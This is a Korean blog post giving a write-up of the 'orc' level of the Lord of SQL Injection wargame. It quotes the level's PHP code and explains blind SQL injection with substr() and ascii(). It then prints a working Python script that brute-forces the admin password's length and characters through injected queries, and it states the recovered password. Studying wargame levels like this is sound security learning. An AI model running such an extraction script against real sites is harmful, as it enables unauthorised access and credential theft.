Gae Ko's Blog

los : orc 본문

웹해킹 /[los] Lord of SQL

los : orc

Gae Ko 2017. 8. 12. 04:07

민지언니가 이 문제는 blind sql injection 이라고 알려준 후에 코드를 보았는데 


[코드분석]


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 

↑DB에 연결하기 위한 코드


if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

↑preg_match를 통한 필터링 


$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"

↑실행쿼리


 $_GET[pw] = addslashes($_GET[pw]); 

↑addslashes()함수  처음보는 함수 


 $query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

↑엥 또 실행쿼리?!  뭔가 이 문제의 포인트인거 같은 느낌(★)



결국 힌트를 보고 해결하였다 ㅠㅠ 

힌트1. id가 admin인 pw의 정확한 pw를 알아야 문제를 해결할 수 있음

힌트2. subsrt함수와 ascii함수 또는 char함수를 이용해 정확한 pw를 구할 수 있음

힌트3. 자동화툴을 사용해 pw의 길이를 구하고 pw의 값을 구함


[내 풀이]


코드를 보니 GET방식으로 pw값을 받아오는데 쿼리를 실행시켰을 때 결과값 중에 id의 값이 존재하면 Hello admin을 출력한다. 

id 값으로 아무거나 들어와도 Hello admin을 출력한다는 뜻이다.

그리고 쿼리실행결과의 pw값과 입력받은 pw값이 동일해야만 문제가 풀린다고 하는데 쿼리실행결과의 pw는 id=adminm인 pw를 의미한다.


그렇다면 실제 admin의 pw의 값을 넣어줘야만 한다는 뜻인데, 

즉, Blind SQL Injection을 통해 데이터베이스에 저장된 admin의 pw를 알아낼 수 있다.


Blind SQL Injection이란 

정상적인 주소값 뒤에 붙여진 쿼리가 참일 때와 거짓일 때의 서버의 반응이 다른 점을 이용해서 SQL injection을 하는 것이다.

기본적으로 이 방법에서 ascii함수와 substr함수를 이용한다.

ascii함수는 값을 아스키값으로 반환해주는 함수이고

substr함수는 substr( 'db 혹은 문자열', 숫자a, 숫자b) 이면 db혹은 문자열에서 a번째부터 b개의 값을 추출해오는 함수이다.


지금 db에서 pw의 값을 알아내와야하는데 


substr(pw, 1, 1) 은 pw의 첫번째 단어를 가져온다.

여기서 ascii(substr(pw, 1, 1))은 pw의 첫번째 단어의 아스키값을 반환한다. 

그럼 ascii(substr(pw, 1, 1))=50 하면  pw의 첫번째 단어의 아스키코드값이 50과 같으면 true, 다르면 false인 것이다.

즉, 이런식으로 substr함수의 두번째 인자 숫자를 +1 씩 더해가면서 비교해보면 pw값을 찾을 수 있다.


하지만 pw값을 찾기 전에 pw의 길이부터 찾아야 한다.


아래는 민지언니가 공유해준 파이썬 코드이다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib2, urllib, requests, time
 
flag = ''
length= 0
 
session = dict(PHPSESSID="rvgsbg4qfkqbn05u2llvhrbd83")
 
# find the length of PW 
for i in range(020):
    try:
        r = requests.post("https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1' or id='admin' and length(pw)="+str(i)+"%23", cookies=session)
    except:
        print "exception"
        continue
    if 'Hello admin' in r.text: #true
        length = i
        break
 
print "[+]  Length of admin pw : " + str(length)
 
for j in range(1, length+1):
    for i in range(48126):
        try:
            r = requests.post("https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1' or id='admin' and substr(pw,"+str(j)+",1) ='"+ str(chr(i)), cookies=session)
        except:
            print "exception"
            continue
        if 'Hello admin' in r.text:
            flag = flag + chr(i)
            print "[+] finding pw : " + flag
            break
        time.sleep(0.1)
print "[+] pw of admin : " + flag
 
 
cs


session 변수를 이용해 새션아이디를 저장해주어 로그인상태를 유지시켜준다. 

그리고 반복문과 length 함수를 이용해 pw의 길이를 알아낸다. 

그리고 이중반복문과 위에서 설명했던 것처럼 substr함수를 이용해 pw의 정확한 값을 구한다.


이 코드를 실행하면 



코드대로 맨 처음에 pw의 길이를 출력해주고 맨 마지막에 총 pw를 출력해준다.


결론 : id가 admin인 pw는 295d5844 




[p.s]

addslashes()함수는 처음봐서 찾아보니 

DB작업을 하기 위해서 쿼리를 작성하게 되는데, 이때 DB시스템은 싱글쿼터(')와 더블쿼터(") 그리고 백슬래시(\) 그리고 NULL byte를 문자열구분하는 등의 기준으로 이용하게 된다고 한다. 그런데 하나의 문자열 안에 저 위 문자들이 들어가 있게 되면, 예상치못하는 오류가 발생가헤 되서 

문자열을 데이터베이스에 저장할 수 있는 포맷으로 변화시켜줄 필요가 있다.

즉, 문자열안에 싱글쿼터(')와 더블쿼터(") 그리고 백슬래시(\) 그리고 NULL 이 들어가 있으면 저 바로 앞에 백슬래시(\)를 추가해주는 역할이 addslashes()함수이다.


구글링을 하여 이 문제에 대해 보았는데 addslashes()함수를 작동시켰기 때문에 pw를 우회할 수 없어서 blind sql injection방법을 써야한다고 한다. 아직 왜 굳이 저 코드가 들어있는지와 pw를 우회하는 방법이 무엇이길래 addslashes()함수를 작동하면 못한다는건지 모르겠다.

내일 민지언니에게 물어봐야겠다 !! ㅎ.ㅎ


물어본 결과 !! 

문제의 쿼리문에 입력값에 뭘 넣던 싱글쿼터(')를 사용해 '입력값' 이런 식으로 나타내어야하고 그래서 싱글쿼터 갯수를 맞춰주어야 하는데 addslashes()함수가 작동하면 싱글쿼터(')를 사용할 수 없기 때문에 pw를 우회할 수 없다.

그리고 결정적으로 이 문제에서는 아래에서 pw를 db에서 가져와서 사용자가 입력값이랑 비교하라고 되있기 때문에 db에 저장된 pw와 정확히 일치해야 문제를 풀수있다.






'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글

los : darkelf  (0) 2017.08.12
los : wolfman  (0) 2017.08.12
los : goblin  (0) 2017.08.10
los : cobolt  (0) 2017.08.09
los : gremlin  (0) 2017.08.09